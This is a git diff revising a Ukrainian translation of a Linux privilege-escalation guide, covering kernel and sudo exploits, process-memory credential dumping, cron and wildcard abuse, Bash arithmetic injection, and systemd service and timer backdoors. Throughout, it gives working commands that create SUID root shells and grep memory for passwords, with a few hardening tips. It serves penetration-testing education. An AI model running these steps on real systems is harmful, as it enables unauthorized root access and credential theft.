diff --git a/src/images/k8studio.jpg b/src/images/k8studio.jpg deleted file mode 100644 index 1c427e89f..000000000 Binary files a/src/images/k8studio.jpg and /dev/null differ diff --git a/src/images/k8studio.png b/src/images/k8studio.png new file mode 100644 index 000000000..0add889f2 Binary files /dev/null and b/src/images/k8studio.png differ diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 5f820a796..6fe0a2cee 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### Інформація про ОС -Почнемо збирати відомості про запущену ОС +Почнемо зі збору інформації про запущену ОС ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Якщо ви **маєте права запису в будь-якій папці всередині змінної `PATH`**, ви зможете hijack деякі libraries або binaries: +Якщо ви **маєте права на запис у будь-яку папку всередині змінної `PATH`**, ви можете перехопити деякі бібліотеки або бінарні файли: ```bash echo $PATH ``` -### Інформація про env +### Інформація про Env -Чи містять змінні середовища цікаву інформацію, паролі або API-ключі? +Чи містять змінні середовища цікаву інформацію, паролі або API keys? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Перевірте версію kernel і чи існує exploit, який можна використати для escalate privileges +Перевірте kernel version і чи існує exploit, який можна використати для escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Тут ви можете знайти хороший список вразливих версій ядра та деякі вже **compiled exploits**: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) та [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Ви можете знайти хороший список вразливих ядер і деякі вже **compiled exploits** тут: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) та [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Інші сайти, де ви можете знайти деякі **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Щоб витягти всі вразливі версії ядра з того веб-сайту, ви можете зробити так: +Щоб витягти всі вразливі версії ядра з того сайту, ви можете зробити: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Інструменти, які можуть допомогти шукати kernel exploits: +Інструменти, які можуть допомогти у пошуку kernel exploits: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (запустіть IN victim, перевіряє лише exploits для kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, перевіряє лише exploits для kernel 2.x) -Завжди **шукайте версію kernel у Google**, можливо ваша версія kernel зазначена в якомусь kernel exploit — тоді ви будете впевнені, що цей exploit дійсний. +Завжди **пошукайте версію kernel в Google**, можливо ваша версія kernel вказана в якомусь kernel exploit і тоді ви будете впевнені, що цей exploit дійсний. ### CVE-2016-5195 (DirtyCow) @@ -59,15 +59,15 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo версія -На основі вразливих версій sudo, що вказані в: +На основі вразливих версій sudo, які наведені в: ```bash searchsploit sudo ``` -Ви можете перевірити, чи версія sudo вразлива, використовуючи цей grep. +Ви можете перевірити, чи вразлива версія sudo, використовуючи цей grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` -#### sudo < v1.28 +#### sudo < v1.8.28 Від @sickrov ``` @@ -75,11 +75,11 @@ sudo -u#-1 /bin/bash ``` ### Dmesg signature verification failed -Перевірте **smasher2 box of HTB** як **приклад** того, як цю vuln можна експлуатувати. +Перевірте **smasher2 box of HTB** для **прикладу** того, як цю vuln можна експлуатувати ```bash dmesg 2>/dev/null | grep "signature" ``` -### Детальніша системна енумерація +### Додаткове system enumeration ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats @@ -123,15 +123,15 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Якщо ви перебуваєте всередині docker container, ви можете спробувати вирватися з нього: +Якщо ви перебуваєте всередині docker container, ви можете спробувати escape з нього: {{#ref}} docker-security/ {{#endref}} -## Диски +## Drives -Перевірте **що змонтовано і що розмонтовано**, де і чому. Якщо щось розмонтовано, ви можете спробувати змонтувати це й перевірити на наявність приватної інформації +Перевірте **what is mounted and unmounted**, де і чому. Якщо щось unmounted, ви можете спробувати mount його і перевірити на конфіденційну інформацію ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Корисне програмне забезпечення -Перелічення корисних бінарних файлів +Перелічити корисні бінарні файли ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Також перевірте, чи **встановлено будь-який компілятор**. Це корисно, якщо вам потрібно використовувати якийсь kernel exploit, оскільки рекомендується скомпілювати його на машині, де ви збираєтеся його використовувати (або на подібній). +Також перевірте, чи встановлено **будь-який компілятор**. Це корисно, якщо вам потрібно використовувати якийсь kernel exploit, оскільки рекомендовано скомпілювати його на машині, де ви збираєтеся його використовувати (або на подібній). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Уразливе встановлене програмне забезпечення +### Встановлене уразливе програмне забезпечення -Перевірте **версію встановлених пакетів та сервісів**. Можливо, є якась стара версія Nagios (наприклад), яку можна експлуатувати для escalating privileges…\ +Перевірте **версію встановлених пакетів і сервісів**. Можливо, є якась стара версія Nagios (наприклад), яку можна експлуатувати для escalating privileges…\ Рекомендується вручну перевірити версію більш підозрілого встановленого програмного забезпечення. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Якщо у вас є SSH-доступ до машини, ви також можете використати **openVAS** для перевірки застарілого та вразливого програмного забезпечення, встановленого на машині. +Якщо у вас є доступ по SSH до машини, ви також можете використовувати **openVAS** для перевірки застарілого та вразливого програмного забезпечення, встановленого на машині. -> [!NOTE] > _Зверніть увагу, що ці команди покажуть багато інформації, яка в більшості буде непотрібною, тому рекомендується використовувати програми, такі як OpenVAS або подібні, які перевіряють, чи яка-небудь встановлена версія програмного забезпечення є вразливою до відомих exploits_ +> [!NOTE] > _Зверніть увагу, що ці команди виведуть багато інформації, яка переважно буде марною, тому рекомендовано використовувати програми на кшталт OpenVAS або подібні, які перевіряють, чи є встановлені версії ПЗ вразливими до відомих exploits_ -## Processes +## Процеси -Погляньте, **які процеси** виконуються та перевірте, чи якийсь процес має **більше привілеїв, ніж повинен** (можливо, tomcat запущено під root?) +Погляньте, які **процеси** виконуються, і перевірте, чи якийсь процес не має **більше привілеїв, ніж повинен** (наприклад, tomcat виконується під root?) ```bash ps aux ps -ef top -n 1 ``` -Завжди перевіряйте, чи не запущені [**electron/cef/chromium debuggers** — you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляє їх, перевіряючи параметр `--inspect` у командному рядку процесу.\ -Also **check your privileges over the processes binaries**, можливо, ви зможете перезаписати чийсь файл. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляє їх, перевіряючи параметр `--inspect` у командному рядку процесу.\ +Також **перевірте свої привілеї над бінарними файлами процесів**, можливо, ви зможете перезаписати чужі. ### Моніторинг процесів -Ви можете використовувати інструменти, такі як [**pspy**](https://github.com/DominicBreuker/pspy), для моніторингу процесів. Це може бути дуже корисно для виявлення вразливих процесів, що виконуються часто або коли виконуються певні умови. +Ви можете використовувати інструменти на кшталт [**pspy**](https://github.com/DominicBreuker/pspy) для моніторингу процесів. Це може бути дуже корисно для виявлення вразливих процесів, які виконуються часто або коли виконано певні умови. ### Пам'ять процесу -Деякі сервіси на сервері зберігають **облікові дані у відкритому вигляді в пам'яті**.\ -Зазвичай вам знадобляться **root privileges** для читання пам'яті процесів, що належать іншим користувачам, тому це зазвичай корисніше, коли ви вже root і хочете знайти більше облікових даних.\ -Однак пам'ятайте, що **як звичайний користувач ви можете читати пам'ять процесів, що належать вам**. +Деякі служби на сервері зберігають **credentials у відкритому тексті в пам'яті**.\ +Зазвичай вам знадобляться **root privileges** для читання пам'яті процесів, які належать іншим користувачам, тому це зазвичай корисніше, коли ви вже root і хочете знайти більше credentials.\ +Проте пам'ятайте, що **як звичайний користувач ви можете читати пам'ять процесів, які належать вам**. > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> Зверніть увагу, що сьогодні більшість машин **не дозволяють ptrace за замовчуванням**, що означає, що ви не можете дампити інші процеси, які належать вашому непривілейованому користувачу. > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> Файл _**/proc/sys/kernel/yama/ptrace_scope**_ контролює доступність ptrace: > -> - **kernel.yama.ptrace_scope = 0**: всі процеси можна відлагодити, якщо вони мають той самий uid. Це класичний спосіб роботи ptrace. -> - **kernel.yama.ptrace_scope = 1**: відлагоджуватись може тільки батьківський процес. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: Жодні процеси не можуть бути трасовані через ptrace. Після встановлення потрібне перезавантаження, щоб знову дозволити ptrace. +> - **kernel.yama.ptrace_scope = 0**: усі процеси можуть бути відлагоджені, за умови що вони мають однаковий uid. Це класичний спосіб роботи ptrace. +> - **kernel.yama.ptrace_scope = 1**: відлагоджений може бути лише батьківський процес. +> - **kernel.yama.ptrace_scope = 2**: лише адміністратор може використовувати ptrace, оскільки це потребує можливості CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: жодні процеси не можуть відстежуватися за допомогою ptrace. Після встановлення цього значення потрібне перезавантаження, щоб знову дозволити ptrace. #### GDB -Якщо у вас є доступ до пам'яті сервісу FTP (наприклад), ви можете отримати Heap і шукати в ньому облікові дані. +Якщо у вас є доступ до пам'яті FTP-служби (наприклад), ви можете витягти Heap і шукати в ньому credentials. ```bash gdb -p (gdb) info proc mappings @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Для заданого ідентифікатора процесу (PID) **maps показують, як пам'ять відображається у віртуальному адресному просторі цього процесу**; також вони показують **права доступу кожного відображеного регіону**. Псевдо-файл **mem** **надає доступ до самої пам'яті процесу**. Із файлу **maps** ми дізнаємося, які **регіони пам'яті доступні для читання** та їхні офсети. Ми використовуємо цю інформацію, щоб **seek у файл mem і dump усі доступні для читання регіони** в окремий файл. +Для заданого ідентифікатора процесу **maps показують, як пам'ять відображається в межах віртуального адресного простору цього процесу**; вони також показують **права доступу кожного відображеного регіону**. Псевдо-файл **mem** **надає доступ до самої пам'яті процесу**. З файлу **maps** ми знаємо, які **області пам'яті доступні для читання** і їхні зміщення. Ми використовуємо цю інформацію, щоб **перейти у файл mem і зробити дамп усіх доступних для читання областей** у файл. ```bash procdump() ( @@ -230,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` надає доступ до системної **фізичної** пам'яті, а не до віртуальної пам'яті. Віртуальний адресний простір ядра можна отримати через /dev/kmem.\ -Зазвичай `/dev/mem` доступний для читання лише користувачу **root** та групі **kmem**. +`/dev/mem` надає доступ до системної **фізичної** пам'яті, а не до віртуальної пам'яті. Віртуальний адресний простір ядра можна отримати за допомогою /dev/kmem.\ +Зазвичай, `/dev/mem` доступний для читання лише для **root** та групи kmem. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump for linux -ProcDump — це переосмислення для Linux класичного інструмента ProcDump із набору Sysinternals для Windows. Отримати його можна за [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump — це реалізація для Linux класичного інструменту ProcDump із набору інструментів Sysinternals для Windows. Завантажити можна за [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -266,31 +266,31 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Інструменти -Щоб dump process memory ви можете використовувати: +Щоб dump a process memory ви можете використати: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Ви можете вручну прибрати вимоги root і dump процес, що належить вам -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (потрібен root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Ви можете вручну видалити root requirements і dump the process, який належить вам +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required) -### Облікові дані з process memory +### Облікові дані з Process Memory #### Ручний приклад -Якщо ви виявите, що процес authenticator запущений: +Якщо ви виявите, що authenticator process працює: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Ви можете dump the process (див. попередні розділи, щоб знайти різні способи dump пам'яті процесу) і шукати credentials всередині пам'яті: +Ви можете зробити dump процесу (див. попередні розділи, щоб знайти різні способи dump the memory of a process) і шукати credentials всередині memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Інструмент [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) викрадає облікові дані у відкритому тексті з пам'яті та з деяких відомих файлів. Для коректної роботи вимагає привілеїв root. +The tool [https://github.com/huntergregal/mimipenguin](https://github.com/huntergregal/mimipenguin) викрадає облікові дані у відкритому тексті з пам'яті та з деяких відомих файлів. Для коректної роботи потрібні привілеї root. -| Функція | Ім'я процесу | +| Функція | Назва процесу | | ------------------------------------------------- | -------------------- | | GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | @@ -299,7 +299,7 @@ strings *.dump | grep -i password | Apache2 (Active HTTP Basic Auth Sessions) | apache2 | | OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Пошукові регулярні вирази/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -313,23 +313,23 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Заплановані/Cron завдання +## Заплановані/Cron jobs -### Crontab UI (alseambusher) running as root – web-based scheduler privesc +### Crontab UI (alseambusher) запущений як root – веб‑інтерфейсний планувальник privesc -Якщо веб-панель “Crontab UI” (alseambusher/crontab-ui) працює від root і прив'язана лише до loopback, її все одно можна дістати через SSH local port-forwarding і створити привілейоване завдання для підвищення привілеїв. +Якщо веб‑панель “Crontab UI” (alseambusher/crontab-ui) запущена від імені root і прив'язана лише до loopback, її все одно можна досягти через SSH local port-forwarding і створити привілейоване завдання для escalate. -Типова послідовність -- Виявити порт, доступний лише з loopback (наприклад, 127.0.0.1:8000) та Basic-Auth realm за допомогою `ss -ntlp` / `curl -v localhost:8000` +Типовий ланцюжок +- Виявити loopback-only порт (наприклад, 127.0.0.1:8000) та Basic-Auth realm через `ss -ntlp` / `curl -v localhost:8000` - Знайти облікові дані в операційних артефактах: - Резервні копії/скрипти з `zip -P ` - - systemd unit, що містить `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` + - systemd unit, який містить `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` - Тунелювання та вхід: ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate ``` -- Створити high-priv job і запустити негайно (drops SUID shell): +- Створити завдання з високими привілеями і запустити негайно (drops SUID shell): ```bash # Name: escalate # Command: @@ -339,13 +339,15 @@ cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell ```bash /tmp/rootshell -p # root shell ``` -Зміцнення безпеки -- Не запускайте Crontab UI від імені root; обмежте запуск виділеним користувачем і мінімальними дозволами -- Прив’язуйте до localhost і додатково обмежуйте доступ через firewall/VPN; не використовуйте повторно passwords +Посилення безпеки +- Не запускайте Crontab UI від root; обмежте виконання окремим користувачем з мінімальними правами +- Прив’язуйте до localhost і додатково обмежуйте доступ через firewall/VPN; не використовуйте повторно паролі - Уникайте вбудовування секретів у unit files; використовуйте secret stores або root-only EnvironmentFile -- Увімкніть аудит/логування для виконання задач за вимогою +- Увімкніть audit/logging для on-demand job executions -Перевірте, чи якась запланована задача вразлива. Можливо, ви зможете скористатися скриптом, який виконується від імені root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?). + + +Перевірте, чи вразлива яка-небудь scheduled job. Можливо, ви зможете скористатися скриптом, що виконується від root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -357,22 +359,22 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul (_Зверніть увагу, що користувач "user" має права на запис у /home/user_) -Якщо всередині цього crontab користувач root намагається виконати команду або скрипт, не встановивши PATH. Наприклад: _\* \* \* \* root overwrite.sh_\ -Тоді ви можете отримати root shell, використавши: +Якщо в цьому crontab root намагається виконати команду або скрипт, не встановивши PATH. Наприклад: _\* \* \* \* root overwrite.sh_\ +Тоді ви можете отримати root shell, використовуючи: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron, який використовує скрипт з wildcard (Wildcard Injection) +### Cron, що використовує скрипт зі wildcard (Wildcard Injection) -Якщо скрипт виконується від root і має “**\***” всередині команди, ви можете це експлуатувати для виконання небажаних дій (наприклад privesc). Приклад: +Якщо скрипт, що виконується від імені root, містить “**\***” всередині команди, це можна використати, щоб зробити непередбачувані речі (наприклад privesc). Приклад: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Якщо wildcard передує шляху на кшталт** _**/some/path/\***_ **, він не вразливий (навіть** _**./\***_ **не є вразливим).** +**Якщо wildcard передує шляху, наприклад** _**/some/path/\***_ **, він не вразливий (навіть** _**./\***_ **не вразливий).** -Прочитайте наступну сторінку, щоб дізнатися більше трюків експлуатації wildcard: +Read the following page for more wildcard exploitation tricks: {{#ref}} @@ -382,9 +384,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash виконує розширення параметрів/змінних та підстановку команд перед арифметичною оцінкою в ((...)), $((...)) та let. Якщо root cron/parser читає неперевірені поля логів і підставляє їх в арифметичний контекст, атакуючий може інʼєктувати підстановку команд $(...), яка виконається від імені root при запуску cron. +Bash виконує parameter expansion і command substitution перед arithmetic evaluation у ((...)), $((...)) та let. Якщо root cron/parser читає ненадійні поля логів і підставляє їх в arithmetic context, атакуючий може інжектити command substitution $(...) який виконається як root при запуску cron. -- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. +- Why it works: У Bash expansions відбуваються в такому порядку: parameter/variable expansion, command substitution, arithmetic expansion, потім word splitting та pathname expansion. Тому значення типу `$(/bin/bash -c 'id > /tmp/pwn')0` спочатку підставиться (команда виконається), а потім залишкове числове `0` буде використане для арифметики, тож скрипт продовжить працювати без помилок. - Типовий вразливий шаблон: ```bash @@ -396,7 +398,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Експлуатація: добийтеся того, щоб у парсований лог записався текст, контрольований атакуючим, так щоб поле, що виглядає як число, містило підстановку команд і закінчувалося цифрою. Переконайтеся, що ваша команда не пише в stdout (або перенаправте її), щоб арифметичний вираз залишався валідним. +- Експлуатація: Домогтися запису тексту під контролем атакуючого у парсований лог так, щоб поле, що виглядає як число, містило command substitution і закінчувалося цифрою. Переконайтесь, що ваша команда не пише в stdout (або перенаправте її), щоб арифметика залишалася валідною. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -405,62 +407,62 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -If you **can modify a cron script** executed by root, you can get a shell very easily: +Якщо ви **можете змінити cron script**, що виконується від імені root, ви можете дуже легко отримати shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Якщо script, що виконується від імені root, використовує **directory, до якого у вас є повний доступ**, можливо, варто видалити цю папку і **створити symlink-папку, що вказує на іншу**, яка слугуватиме для запуску script під вашим контролем. +Якщо скрипт, виконуваний від імені root, використовує **directory where you have full access**, можливо буде корисно видалити цю папку й **create a symlink folder to another one**, яка вказуватиме на інший каталог із скриптом, контрольованим вами. ```bash ln -d -s ``` ### Часті cron jobs -Ви можете моніторити процеси, щоб шукати ті, які виконуються кожні 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і escalate privileges. +Ви можете відстежувати процеси, щоб знайти ті, що виконуються кожні 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і escalate privileges. -Наприклад, щоб **моніторити кожні 0.1s протягом 1 хвилини**, **сортувати за найменш виконуваними командами** і видалити команди, які були виконані найбільше, ви можете зробити: +Наприклад, щоб **моніторити кожні 0.1s протягом 1 хвилини**, **сортувати за командами, що виконуються рідше** та видалити команди, які були виконані найчастіше, ви можете зробити: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Ви також можете використовувати** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (воно відстежуватиме та перераховуватиме кожен процес, що запускається). +**Ви також можете використати** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (воно буде відслідковувати та перераховувати кожен процес, що запускається). ### Невидимі cron jobs -Можна створити cronjob, **додавши символ повернення каретки після коментаря** (без символу нового рядка), і cron job працюватиме. Приклад (зверніть увагу на символ повернення каретки): +Можна створити cronjob, **додавши carriage return після коментаря** (без символу нового рядка), і cron job працюватиме. Приклад (зверніть увагу на символ carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` -## Служби +## Сервіси -### Записувані _.service_ файли +### Доступні для запису _.service_ файли -Перевірте, чи можете ви записати будь-який `.service` файл, якщо так, ви **можете змінити його** так, щоб він **виконував** ваш **backdoor коли** служба **запускається**, **перезапускається** або **зупиняється** (можливо, вам доведеться почекати, поки машина не буде перезавантажена).\ +Перевірте, чи можете записати будь-який `.service` файл, якщо так, ви **можете змінити його** так, щоб він **запускав** ваш **backdoor коли** сервіс **запущено**, **перезапущено** або **зупинено** (можливо, доведеться почекати до перезавантаження машини).\ Наприклад, створіть ваш backdoor всередині .service файлу з **`ExecStart=/tmp/script.sh`** -### Записувані бінарні файли сервісів +### Бінарні файли сервісів, доступні для запису -Майте на увазі, що якщо у вас є **права на запис у бінарні файли, які виконуються службами**, ви можете змінити їх на backdoors, тож коли служби будуть повторно виконані, backdoors будуть виконані. +Майте на увазі, що якщо у вас є **права запису на бінарні файли, які виконуються сервісами**, ви можете змінити їх для backdoors, тож коли сервіси будуть повторно запущені, backdoors будуть виконані. ### systemd PATH - Відносні шляхи -Ви можете побачити PATH, який використовується **systemd**, за допомогою: +Ви можете побачити PATH, який використовує **systemd**, за допомогою: ```bash systemctl show-environment ``` -Якщо ви виявите, що можете **записувати** в будь-яку з папок цього шляху, ви можете мати змогу **підвищити привілеї**. Вам потрібно шукати **відносні шляхи, що використовуються в конфігураційних файлах сервісів**, такі як: +Якщо ви знайдете, що можете **write** в будь-якій із папок цього шляху, ви, можливо, зможете **escalate privileges**. Вам потрібно шукати **relative paths being used on service configurations** files, такі як: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Потім створіть **executable** з тією ж назвою, що й бінарник за відносним шляхом, у каталозі systemd PATH, у який ви маєте право запису, і коли службі буде наказано виконати вразливу дію (**Start**, **Stop**, **Reload**), ваш **backdoor** буде виконано (звичайно невповноважені користувачі не можуть запускати/зупиняти служби, але перевірте, чи можете використати `sudo -l`). +Потім створіть **виконуваний файл** з **тим самим ім’ям, що й бінарний файл за відносним шляхом** у папці PATH systemd, до якої ви маєте право запису, і коли службі буде наказано виконати вразливу дію (**Start**, **Stop**, **Reload**), ваш **бекдор буде виконано** (непривілейовані користувачі зазвичай не можуть запускати/зупиняти служби, але перевірте, чи можете використати `sudo -l`). -**Дізнайтеся більше про служби за допомогою `man systemd.service`.** +**Learn more about services with `man systemd.service`.** ## **Таймери** -**Таймери** — це systemd unit файли, назва яких закінчується в `**.timer**`, що контролюють `**.service**` файли або події. **Таймери** можна використовувати як альтернативу cron, оскільки вони мають вбудовану підтримку подій за календарним часом і монотонних таймерів та можуть виконуватися асинхронно. +**Таймери** — це unit-файли systemd, чиї імена закінчуються на `**.timer**`, які контролюють `**.service**` файли або події. **Таймери** можуть використовуватися як альтернатива cron, оскільки вони мають вбудовану підтримку календарних подій і монотонних часових подій та можуть виконуватися асинхронно. Ви можете перерахувати всі таймери за допомогою: ```bash @@ -468,24 +470,24 @@ systemctl list-timers --all ``` ### Таймери, доступні для запису -Якщо ви можете змінити таймер, ви можете змусити його виконати деякі існуючі systemd.unit (наприклад `.service` або `.target`) +Якщо ви можете змінити таймер, ви можете змусити його виконати існуючі одиниці systemd.unit (наприклад, `.service` або `.target`) ```bash Unit=backdoor.service ``` -У документації ви можете прочитати, що таке Unit: +У документації можна прочитати, що таке Unit: -> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. +> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (Див. вище.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. -Отже, щоб зловживати цим дозволом, вам потрібно: +Тому, щоб зловживати цією привілеєю, вам потрібно: - Знайти якийсь systemd unit (наприклад `.service`), який **виконує бінарний файл, доступний для запису** -- Знайти якийсь systemd unit, який **виконує відносний шлях** і у вас є **права запису** над **systemd PATH** (щоб підмінити цей виконуваний файл) +- Знайти якийсь systemd unit, який **запускає виконуваний файл за відносним шляхом** і над яким ви маєте **права запису** у **systemd PATH** (щоб підмінити цей виконуваний файл) -**Детальніше про timers див. у `man systemd.timer`.** +**Дізнайтеся більше про timers за допомогою `man systemd.timer`.** ### **Увімкнення таймера** -Щоб увімкнути timer потрібні права root і виконати: +Щоб увімкнути таймер, потрібні права root — виконайте: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. @@ -494,32 +496,32 @@ Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd ## Sockets -Unix Domain Sockets (UDS) дозволяють **взаємодію процесів** на тій самій або різних машинах у моделях клієнт‑сервер. Вони використовують стандартні Unix descriptor файли для міжмашинної комунікації і налаштовуються через `.socket` файли. +Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. -Sockets можна налаштовувати за допомогою `.socket` файлів. +Sockets can be configured using `.socket` files. -**Дізнайтеся більше про sockets за допомогою `man systemd.socket`.** Всередині цього файлу можна налаштувати кілька цікавих параметрів: +**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ці опції різняться між собою, але в загальному служать для **вказування, де буде 